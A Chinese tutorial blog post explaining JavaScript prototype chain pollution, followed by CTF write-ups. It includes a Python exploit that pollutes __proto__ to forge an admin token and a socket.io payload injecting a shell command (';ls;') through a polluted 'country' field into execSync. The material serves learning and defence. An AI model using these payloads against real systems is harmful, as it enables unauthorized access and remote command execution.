javascript原型链污染详解(后有彩蛋)

前言

前端就是菜,js就是菜

0x01

先上一张图,如果这张图你都能看懂的话,我觉得就没必要再往下看了
image.png
由图可得:
1、所有的对象都有proto属性,该属性对应该对象的原型.
2、所有的函数(也只有函数才有)对象都有prototype属性,该属性的值会被赋值给该函数创建的对象的_proto_属性.
3、所有的原型对象都有constructor属性,该属性对应创建所有指向该原型的实例的构造函数.
4、函数对象和原型对象通过prototype和constructor属性进行相互关联.

0x02

函数字面量

所有构造函数的proto都指向Function.prototype,它是一个空函数(Empty function)
image.png
image.png
image.png

对象字面量

对象字面量的proto直接指向大Boss–>Object
image.png

0x03

image.png

解读图

new操作符,在js中用于创建一个新的对象,在实际实现
(var p=new ObjectName(param1,parem2…);)的过程中,主要经历了以下三个步骤:

  • var o={};
  • o.proto=ObjectName.prototype;
  • ObjectName.call(o,parma1,param2);

剩下的可以先看完0x04部分再回来看,会有比较好的理解

0x04

我们知道javascript是能实现面向对象编程的,但javascript语法不支持”类”,导致传统的面向对象编程方法无法直接使用。伟大的程序员做了很多探索,研究了如何用Javascript模拟”类”。

构造函数法

image.png

极简主义法

封装

image.png

这种方法的好处是,容易理解,结构清晰优雅,符合传统的”面向对象编程”的构造,因此可以方便地部署下面的特性。

继承

image.png

私有属性和私有方法

既然javasctipt能这么猛,能搞继承,那能不能有私有属性和私有方法呢?既然猛,那就再猛一点,答案是有的
image.png
细心点的童鞋可能发现了,上例的的内部变量age,外部无法获取。那么要如何来获取呢?跟其他语言一样,如下
image.png

prototype大法

我个人觉得上面两种方法虽然把模拟类实现的差不多了,上面实现继承是在函数里面再去继承,这样每次声明一个实例会将Animal复制一遍,这显然不是最优的方法。但是有没有既简单有最优的做法,答案是有的。也就是题目说的prototype大法。
image.png

这时再回去看0x03你可能会理解的更好

原型链污染

image.png

真题实战1

http://prompt.ml/13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

详解请看:[CTF – Prompt(1)解题报告 [Level D – Json Object]

真题实战2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}

function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}

app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];

}
res.render('index');
})


app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)


app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}

if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}

if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}

if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}

})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})

关键代码

1
2
3
4
5
6
7
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}

var user = [];
var matrix = [];
matrix[client.row][client.col] = client.data;

这里刚开始user.admintoken是undefined的,而我们可控的是client,而且user跟matrix都是数组类型,那么利用原型链污染来覆盖admintoken。下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding: utf-8 -*-
# @Author: Marte
# @Date: 2019-05-04 15:07:07
# @Last Modified by: Marte
# @Last Modified time: 2019-05-04 15:08:18
# -*- coding:utf8 -*-
import requests
import json

headers = {
'Content-Type': 'application/json'
}
data = {
'row': '__proto__',
'col': 'admintoken',
'data': 'Decade'
}
myd = requests.session()
url = "http://localhost:3000/api"
url2 = "http://localhost:3000/admin?querytoken=ad3bf81f37b9dddba943b53f7670c57b"
myd.post(url, headers=headers, data=json.dumps(data))
print myd.get(url2).content

真题实战3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#client.js
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};

socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
1
2
3
4
5
6
7
8
9
10
#default_settings.json
{
"name": "Default",
"lastname": "Username",
"status": "Status Text",
"location": "127.0.0.1",
"country": "No Man`s Land",
"source": "Website",
"port": "3000"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#helper.js
var exports = module.exports = {
clone: function(obj) {

if (typeof obj !== 'object' ||
obj === null) {

return obj;
}

var newObj;
var cloneDeep = false;

if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
}
else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
}
else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
}
else {

var proto = Object.getPrototypeOf(obj);

if (proto &&proto.isImmutable) {
newObj = obj;
}
else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
}
else {
newObj = [];
cloneDeep = true;
}

if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);

for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);

if (descriptor &&(descriptor.get ||descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
}
else {

newObj[key] = this.clone(obj[key]);
}
}
}
return newObj;
},
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}

var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];

if(block.indexOf(key) !== -1) {
return false;
}
}

var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}

return true;
},
getAscii: function(message) {
var e = require('child_process');
return e.execSync("echo '" + message + "'").toString();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#server.js
var fs = require('fs');
var server = require('http').createServer()
var io = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')

var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
var msg = {
from: from,
message: message
};

client.emit('message', msg);
console.log(msg)
return true;
}

function sendMessageToChannel(channel, from, message) {
var msg = {
from: typeof from !== 'string' ? clientManager.getUsername(from): from,
message: message,
channel: channel
};

if(typeof from !== 'string') {
if(!clientManager.isSubscribedTo(from, channel)) {
console.log('Could not send message',msg,' from',
clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
return false;
}
}

var clients = clientManager.getSubscribedToChannel(channel);

for(var i = 0; i<clients.length;i++) {
if(typeof from !== 'string') {
if(clients[i].id == from.id) {
continue;
}
}

clients[i].emit('message', msg);
}
console.log(msg)
return true;
}

io.on('connection', function (client) {
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
console.log(newUser);
if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}

var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}

if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}

clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});

client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
console.log(c);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
try {
client.join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)

var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});

client.on('message', function(message) {
try {
message = JSON.parse(message);
if(message.channel === undefined) {
console.log(clientManager.getUsername(client),"said:", message.msg);
} else {
sendMessageToChannel(message.channel, client, message.msg);
}
} catch(e) { console.log(e); client.disconnect() }
});

client.on('disconnect', function () {
try {
console.log('client disconnect...', client.id)

var oldclient = clientManager.removeClient(client);
if(oldclient !== undefined) {
for (const [channel, state] of Object.entries(oldclient.ch)) {
if(!state) continue;
sendMessageToChannel(channel, "Server",
"User " + oldclient.u.name + " left channel");
}
}
} catch(e) { console.log(e); client.disconnect() }
})

client.on('error', function (err) {
console.log('received error from client:', client.id)
console.log(err)
})
});

server.listen(3000, function (err) {
if (err) throw err;
console.log('listening on port 3000');
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#package.json
{
"name": "chat",
"version": "1.0.0",
"description": "DCTF",
"main": "NA",
"dependencies": {
"socket.io": "^2.2.0",
"socket.io-client": "^2.2.0"
},
"devDependencies": {},
"scripts": {
"test": "NA"
},
"repository": {
"type": "git",
"url": "NA"
},
"keywords": [
"DCTF"
],
"author": "Andrei",
"license": "UNLICENSED"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#clientManager.js
var helper = require('./helper')
var exports = module.exports = {
clients: {},
getUserByClient: function(client) {
return this.clients[client.id]
},
registerClient: function (client, user) {
this.clients[client.id] = { 'c': client,
'u': user,
'ch': {}
};
},
removeClient: function (client) {
var client_old = this.clients[client.id]
if(client_old === undefined)
return client_old

delete client_old.c
client_old = helper.clone(client_old)
delete this.clients[client.id];
return client_old
},
isUserAvailable: function (userName) {
for (var [key, user] of Object.entries(this.clients)) {
if(user.u.name == userName) {
return false;
}
}
return true;
},
getUsername: function (client) {
return this.clients[client.id].u.name;
},
getLastname: function (client) {
return this.clients[client.id].u.lastname;
},
getCountry: function (client) {
return this.clients[client.id].u.country;
},
getLocation: function (client) {
return this.clients[client.id].u.location;
},
getStatus: function (client) {
return this.clients[client.id].u.status;
},
joinChannel: function (client, channel) {
this.clients[client.id].ch[channel] = true;
},
leaveChannel: function (client, channel) {
this.clients[client.id].ch[channel] = false;
},
getSubscribedToChannel: function(channel) {
var subscribed = [];
for (var [key, user] of Object.entries(this.clients)) {
if(user.ch[channel] === true) {
subscribed.push(user.c);
}
}
return subscribed;
},
isSubscribedTo: function(client, channel) {
var user = this.getUserByClient(client)

for (var [chs, state] of Object.entries(user.ch)) {
if(state === true && chs === channel) {
return true;
}
}

return false;
},
};

在helper.js,有一个很让人怀疑的地方

1
2
3
4
getAscii: function(message) {
var e = require('child_process');
return e.execSync("echo '" + message + "'").toString();
}

追踪调用到了此函数的地方发现,这里Username可控,但是Country不可控,那么有没有可能通过原型链污染来控制这个Country呢?

1
2
3
4
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))

答案是有的,在helper.js这里,采用了深复制了输入的inUser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);

for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);

if (descriptor &&(descriptor.get ||descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
}
else {

newObj[key] = this.clone(obj[key]);
}
}
}
return newObj;

巧妙构造exp如下,即可命令执行

1
socket.emit('register', '{"name":"Decade", "__proto__":{"country":"\';ls;echo \'lala"}}');

image.png
image.png
image.png

真题实战4

源码地址:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
可以看看p牛的文章分析:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
p牛这篇文章要特别注意,写exp的时候记得用JSON.dumps传进去!!!
也可以参考Twings师傅的文章:JavaScript原型链污染

生成null原型防止污染

image.png

python扩展

细心的同学就会发现这一个跟python有一个沙盒逃逸有点像,那么python会不会也有类似的”污染”呢?
image.png

-------------本文结束感谢您的阅读-------------